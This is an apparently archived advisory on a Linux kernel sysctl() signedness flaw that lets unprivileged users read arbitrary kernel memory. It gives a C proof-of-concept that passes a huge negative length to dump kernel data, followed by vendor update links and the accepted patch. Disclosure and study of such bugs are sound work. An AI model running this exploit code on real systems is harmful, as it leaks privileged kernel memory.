|
Vulnerability sysctl() Affected Linux Description Chris Evans found following. There exists a Linux system call sysctl() which is used to query and modify runtime system settings. Unprivileged users are permitted to query the value of many of these settings. The unprivileged user passes in a buffer location and the length of this buffer. Unfortunately, by specifying a negative buffer length, a user can read pretty arbitrary kernel memory. Looking at linux/kernel/sysctl.c: sysctl_string() int l, len; ... if (oldval && oldlenp) { if(get_user(len, oldlenp)) return -EFAULT; if (len) { l = strlen(table->data); if (len > l) len = l; if (len >= table->maxlen) len = table->maxlen; if(copy_to_user(oldval, table->data, len)) return -EFAULT; The contents of variable "len" are totally under the control of a malicious user. Since len is declared as signed, a negative value may be used. This bypasses the "len >= table->maxlen" check and copies kernel data to userspace, starting at "table->data". The sysctl.c file contains several signed/unsigned mixups like the above. To exploit this, there are a couple of minor issues. 1) copy_to_user() virtual address space wrap check. A check in the kernel means we need to place the destination user space buffer low in the virtual address space, using mmap(). The default heap location on i386 is too high. 2) The usefulness of this exploit will vary depedending upon if the address of the table->data pointer used is _before_ lots of interesting kernel stuff. On ix86 Linux, this certainly seems to be the case. 3) There have been a reports that the kernel may be caused to hang using this bug (not investigated). As we see, integer signedness issues seem to be everywhere. Subtle flaws like these are a great concern because they are hard to spot and audits will miss them. Quick hacky demo code of how you might go about playing with this, is appended. /* Excuse the lack of error checking */ #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <sys/mman.h> #include <unistd.h> #include <linux/unistd.h> #include <linux/sysctl.h> _syscall1(int, _sysctl, struct __sysctl_args *, args); #define BUFLEN 1000000 int main(int argc, const char* argv[]) { struct __sysctl_args args_of_great_doom; int names[2] = { CTL_KERN, KERN_NODENAME }; /* Minus 2 billion - somewhere close to biggest negative int */ int dodgy_len = -2000000000; int fd; char* p_buf; fd = open("/dev/zero", O_RDWR); p_buf = mmap((void*)8192, BUFLEN, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE, fd, 0); memset(p_buf, '\0', BUFLEN); fd = open("before", O_CREAT | O_TRUNC | O_WRONLY, 0777); write(fd, p_buf, BUFLEN); args_of_great_doom.name = names; args_of_great_doom.nlen = 2; args_of_great_doom.oldval = p_buf; args_of_great_doom.oldlenp = &dodgy_len; args_of_great_doom.newval = 0; args_of_great_doom.newlen = 0; _sysctl(&args_of_great_doom); fd = open("after", O_CREAT | O_TRUNC | O_WRONLY, 0777); write(fd, p_buf, BUFLEN); } Solution The recent flurry of updated kernels from vendors include a fix for the sysctl() problem. The fix is essentially to use unsigned variables for the lengths. For Red Hat: ftp://updates.redhat.com/6.2/SRPMS/kernel-2.2.17-14.src.rpm ftp://updates.redhat.com/6.2/alpha/kernel-2.2.17-14.alpha.rpm ftp://updates.redhat.com/6.2/alpha/kernel-smp-2.2.17-14.alpha.rpm ftp://updates.redhat.com/6.2/alpha/kernel-enterprise-2.2.17-14.alpha.rpm ftp://updates.redhat.com/6.2/alpha/kernel-BOOT-2.2.17-14.alpha.rpm ftp://updates.redhat.com/6.2/alpha/kernel-source-2.2.17-14.alpha.rpm ftp://updates.redhat.com/6.2/alpha/kernel-doc-2.2.17-14.alpha.rpm ftp://updates.redhat.com/6.2/alpha/kernel-utils-2.2.17-14.alpha.rpm ftp://updates.redhat.com/6.2/alpha/kernel-headers-2.2.16-3.alpha.rpm ftp://updates.redhat.com/6.2/i386/kernel-2.2.17-14.i386.rpm ftp://updates.redhat.com/6.2/i386/kernel-smp-2.2.17-14.i386.rpm ftp://updates.redhat.com/6.2/i386/kernel-BOOT-2.2.17-14.i386.rpm ftp://updates.redhat.com/6.2/i386/kernel-pcmcia-cs-2.2.17-14.i386.rpm ftp://updates.redhat.com/6.2/i386/kernel-ibcs-2.2.17-14.i386.rpm ftp://updates.redhat.com/6.2/i386/kernel-source-2.2.17-14.i386.rpm ftp://updates.redhat.com/6.2/i386/kernel-doc-2.2.17-14.i386.rpm ftp://updates.redhat.com/6.2/i386/kernel-utils-2.2.17-14.i386.rpm ftp://updates.redhat.com/6.2/i386/kernel-headers-2.2.16-3.i386.rpm ftp://updates.redhat.com/6.2/i586/kernel-2.2.17-14.i586.rpm ftp://updates.redhat.com/6.2/i586/kernel-smp-2.2.17-14.i586.rpm ftp://updates.redhat.com/6.2/i686/kernel-2.2.17-14.i686.rpm ftp://updates.redhat.com/6.2/i686/kernel-smp-2.2.17-14.i686.rpm ftp://updates.redhat.com/6.2/i686/kernel-enterprise-2.2.17-14.i686.rpm ftp://updates.redhat.com/6.2/sparc/kernel-2.2.17-14.sparc.rpm ftp://updates.redhat.com/6.2/sparc/kernel-2.2.17-14.sparc.rpm ftp://updates.redhat.com/6.2/sparc/kernel-smp-2.2.17-14.sparc.rpm ftp://updates.redhat.com/6.2/sparc/kernel-smp-2.2.17-14.sparc.rpm ftp://updates.redhat.com/6.2/sparc/kernel-enterprise-2.2.17-14.sparc.rpm ftp://updates.redhat.com/6.2/sparc/kernel-enterprise-2.2.17-14.sparc.rpm ftp://updates.redhat.com/6.2/sparc/kernel-BOOT-2.2.17-14.sparc.rpm ftp://updates.redhat.com/6.2/sparc/kernel-BOOT-2.2.17-14.sparc.rpm ftp://updates.redhat.com/6.2/sparc/kernel-source-2.2.17-14.sparc.rpm ftp://updates.redhat.com/6.2/sparc/kernel-doc-2.2.17-14.sparc.rpm ftp://updates.redhat.com/6.2/sparc/kernel-utils-2.2.17-14.sparc.rpm ftp://updates.redhat.com/6.2/sparc/kernel-headers-2.2.16-3.sparc.rpm ftp://updates.redhat.com/6.2/sparc64/kernel-2.2.17-14.sparc64.rpm ftp://updates.redhat.com/6.2/sparc64/kernel-smp-2.2.17-14.sparc64.rpm ftp://updates.redhat.com/6.2/sparc64/kernel-enterprise-2.2.17-14.sparc64.rpm ftp://updates.redhat.com/6.2/sparc64/kernel-BOOT-2.2.17-14.sparc64.rpm ftp://updates.redhat.com/7.0/SRPMS/kernel-2.2.17-14.src.rpm ftp://updates.redhat.com/7.0/alpha/kernel-2.2.17-14.alpha.rpm ftp://updates.redhat.com/7.0/alpha/kernel-smp-2.2.17-14.alpha.rpm ftp://updates.redhat.com/7.0/alpha/kernel-enterprise-2.2.17-14.alpha.rpm ftp://updates.redhat.com/7.0/alpha/kernel-BOOT-2.2.17-14.alpha.rpm ftp://updates.redhat.com/7.0/alpha/kernel-source-2.2.17-14.alpha.rpm ftp://updates.redhat.com/7.0/alpha/kernel-doc-2.2.17-14.alpha.rpm ftp://updates.redhat.com/7.0/alpha/kernel-utils-2.2.17-14.alpha.rpm ftp://updates.redhat.com/7.0/i386/kernel-2.2.17-14.i386.rpm ftp://updates.redhat.com/7.0/i386/kernel-smp-2.2.17-14.i386.rpm ftp://updates.redhat.com/7.0/i386/kernel-BOOT-2.2.17-14.i386.rpm ftp://updates.redhat.com/7.0/i386/kernel-pcmcia-cs-2.2.17-14.i386.rpm ftp://updates.redhat.com/7.0/i386/kernel-ibcs-2.2.17-14.i386.rpm ftp://updates.redhat.com/7.0/i386/kernel-source-2.2.17-14.i386.rpm ftp://updates.redhat.com/7.0/i386/kernel-doc-2.2.17-14.i386.rpm ftp://updates.redhat.com/7.0/i386/kernel-utils-2.2.17-14.i386.rpm ftp://updates.redhat.com/7.0/i586/kernel-2.2.17-14.i586.rpm ftp://updates.redhat.com/7.0/i586/kernel-smp-2.2.17-14.i586.rpm ftp://updates.redhat.com/7.0/i686/kernel-2.2.17-14.i686.rpm ftp://updates.redhat.com/7.0/i686/kernel-smp-2.2.17-14.i686.rpm ftp://updates.redhat.com/7.0/i686/kernel-enterprise-2.2.17-14.i686.rpm Caldera and Immunix issued advisories as well. Alan Cox said that it would be fixed in 2.2.19pre9. Here's the patch that Alan accepted and put into 2.2.18-pre9 to fix this problem: diff -Naur -X /home/greg/linux/dontdiff linux-2.2.18/include/linux/sysctl.h linux-2.2.18-greg/include/linux/sysctl.h --- linux-2.2.18/include/linux/sysctl.h Sun Dec 10 16:49:44 2000 +++ linux-2.2.18-greg/include/linux/sysctl.h Fri Jan 26 10:28:40 2001 @@ -30,7 +30,7 @@ struct __sysctl_args { int *name; - int nlen; + unsigned nlen; void *oldval; size_t *oldlenp; void *newval; @@ -465,7 +465,7 @@ typedef struct ctl_table ctl_table; -typedef int ctl_handler (ctl_table *table, int *name, int nlen, +typedef int ctl_handler (ctl_table *table, int *name, unsigned nlen, void *oldval, size_t *oldlenp, void *newval, size_t newlen, void **context); @@ -484,12 +484,12 @@ extern int proc_dointvec_jiffies(ctl_table *, int, struct file *, void *, size_t *); -extern int do_sysctl (int *name, int nlen, +extern int do_sysctl (int *name, unsigned nlen, void *oldval, size_t *oldlenp, void *newval, size_t newlen); extern int do_sysctl_strategy (ctl_table *table, - int *name, int nlen, + int *name, unsigned nlen, void *oldval, size_t *oldlenp, void *newval, size_t newlen, void ** context); diff -Naur -X /home/greg/linux/dontdiff linux-2.2.18/kernel/sysctl.c linux-2.2.18-greg/kernel/sysctl.c --- linux-2.2.18/kernel/sysctl.c Sun Dec 10 16:49:44 2000 +++ linux-2.2.18-greg/kernel/sysctl.c Fri Jan 26 10:31:38 2001 @@ -77,7 +77,7 @@ extern int pgt_cache_water[]; -static int parse_table(int *, int, void *, size_t *, void *, size_t, +static int parse_table(int *, unsigned, void *, size_t *, void *, size_t, ctl_table *, void **); static int proc_doutsstring(ctl_table *table, int write, struct file *filp, void *buffer, size_t *lenp); @@ -320,7 +320,7 @@ } -int do_sysctl (int *name, int nlen, +int do_sysctl (int *name, unsigned nlen, void *oldval, size_t *oldlenp, void *newval, size_t newlen) { @@ -330,10 +330,12 @@ if (nlen == 0 || nlen >= CTL_MAXNAME) return -ENOTDIR; - - if (oldval) - { - int old_len; + + if ((ssize_t)newlen < 0) + return -EINVAL; + + if (oldval) { + size_t old_len; if (!oldlenp) return -EFAULT; if(get_user(old_len, oldlenp)) @@ -387,7 +389,7 @@ return test_perm(table->mode, op); } -static int parse_table(int *name, int nlen, +static int parse_table(int *name, unsigned nlen, void *oldval, size_t *oldlenp, void *newval, size_t newlen, ctl_table *table, void **context) @@ -430,11 +432,12 @@ /* Perform the actual read/write of a sysctl table entry. */ int do_sysctl_strategy (ctl_table *table, - int *name, int nlen, + int *name, unsigned nlen, void *oldval, size_t *oldlenp, void *newval, size_t newlen, void **context) { - int op = 0, rc, len; + int op = 0, rc; + size_t len; if (oldval) op |= 004; @@ -458,6 +461,8 @@ if (oldval && oldlenp) { get_user(len, oldlenp); if (len) { + if (len < 0) + return -EINVAL; if (len > table->maxlen) len = table->maxlen; if(copy_to_user(oldval, table->data, len)) @@ -642,7 +647,7 @@ int proc_dostring(ctl_table *table, int write, struct file *filp, void *buffer, size_t *lenp) { - int len; + size_t len; char *p, c; if (!table->data || !table->maxlen || !*lenp || @@ -710,7 +715,8 @@ static int do_proc_dointvec(ctl_table *table, int write, struct file *filp, void *buffer, size_t *lenp, int conv, int op) { - int *i, vleft, first=1, len, left, neg, val; + int *i, neg, val; + size_t len, left, vleft, first=1; #define TMPBUFLEN 20 char buf[TMPBUFLEN], *p; @@ -832,7 +838,8 @@ int proc_dointvec_minmax(ctl_table *table, int write, struct file *filp, void *buffer, size_t *lenp) { - int *i, *min, *max, vleft, first=1, len, left, neg, val; + int *i, *min, *max, neg, val; + size_t len, left, vleft, first=1; #define TMPBUFLEN 20 char buf[TMPBUFLEN], *p; @@ -974,11 +981,12 @@ */ /* The generic string strategy routine: */ -int sysctl_string(ctl_table *table, int *name, int nlen, +int sysctl_string(ctl_table *table, int *name, unsigned nlen, void *oldval, size_t *oldlenp, void *newval, size_t newlen, void **context) { - int l, len; + unsigned l; + size_t len; if (!table->data || !table->maxlen) return -ENOTDIR; @@ -1017,11 +1025,12 @@ * are between the minimum and maximum values given in the arrays * table->extra1 and table->extra2, respectively. */ -int sysctl_intvec(ctl_table *table, int *name, int nlen, +int sysctl_intvec(ctl_table *table, int *name, unsigned nlen, void *oldval, size_t *oldlenp, void *newval, size_t newlen, void **context) { - int i, length, *vec, *min, *max; + int *vec, *min, *max; + size_t i, length; if (newval && newlen) { if (newlen % sizeof(int) != 0) @@ -1051,7 +1060,7 @@ } /* Strategy function to convert jiffies to seconds */ -int sysctl_jiffies(ctl_table *table, int *name, int nlen, +int sysctl_jiffies(ctl_table *table, int *name, unsigned nlen, void *oldval, size_t *oldlenp, void *newval, size_t newlen, void **context) { @@ -1159,21 +1168,21 @@ return -ENOSYS; } -int sysctl_string(ctl_table *table, int *name, int nlen, +int sysctl_string(ctl_table *table, int *name, unsigned nlen, void *oldval, size_t *oldlenp, void *newval, size_t newlen, void **context) { return -ENOSYS; } -int sysctl_intvec(ctl_table *table, int *name, int nlen, +int sysctl_intvec(ctl_table *table, int *name, unsigned nlen, void *oldval, size_t *oldlenp, void *newval, size_t newlen, void **context) { return -ENOSYS; } -int sysctl_jiffies(ctl_table *table, int *name, int nlen, +int sysctl_jiffies(ctl_table *table, int *name, unsigned nlen, void *oldval, size_t *oldlenp, void *newval, size_t newlen, void **context) { diff -Naur -X /home/greg/linux/dontdiff linux-2.2.18/net/ipv4/route.c linux-2.2.18-greg/net/ipv4/route.c --- linux-2.2.18/net/ipv4/route.c Sun Dec 10 16:49:44 2000 +++ linux-2.2.18-greg/net/ipv4/route.c Fri Jan 26 10:28:40 2001 @@ -1927,7 +1927,7 @@ return -EINVAL; } -static int ipv4_sysctl_rtcache_flush_strategy(ctl_table *table, int *name, int nlen, +static int ipv4_sysctl_rtcache_flush_strategy(ctl_table *table, int *name, unsigned nlen, void *oldval, size_t *oldlenp, void *newval, size_t newlen, void **context) diff -Naur -X /home/greg/linux/dontdiff linux-2.2.18/net/ipv4/sysctl_net_ipv4.c linux-2.2.18-greg/net/ipv4/sysctl_net_ipv4.c --- linux-2.2.18/net/ipv4/sysctl_net_ipv4.c Sun Dec 10 16:49:44 2000 +++ linux-2.2.18-greg/net/ipv4/sysctl_net_ipv4.c Fri Jan 26 10:28:40 2001 @@ -87,7 +87,7 @@ return ret; } -static int ipv4_sysctl_forward_strategy(ctl_table *table, int *name, int nlen, +static int ipv4_sysctl_forward_strategy(ctl_table *table, int *name, unsigned nlen, void *oldval, size_t *oldlenp, void *newval, size_t newlen, void **context)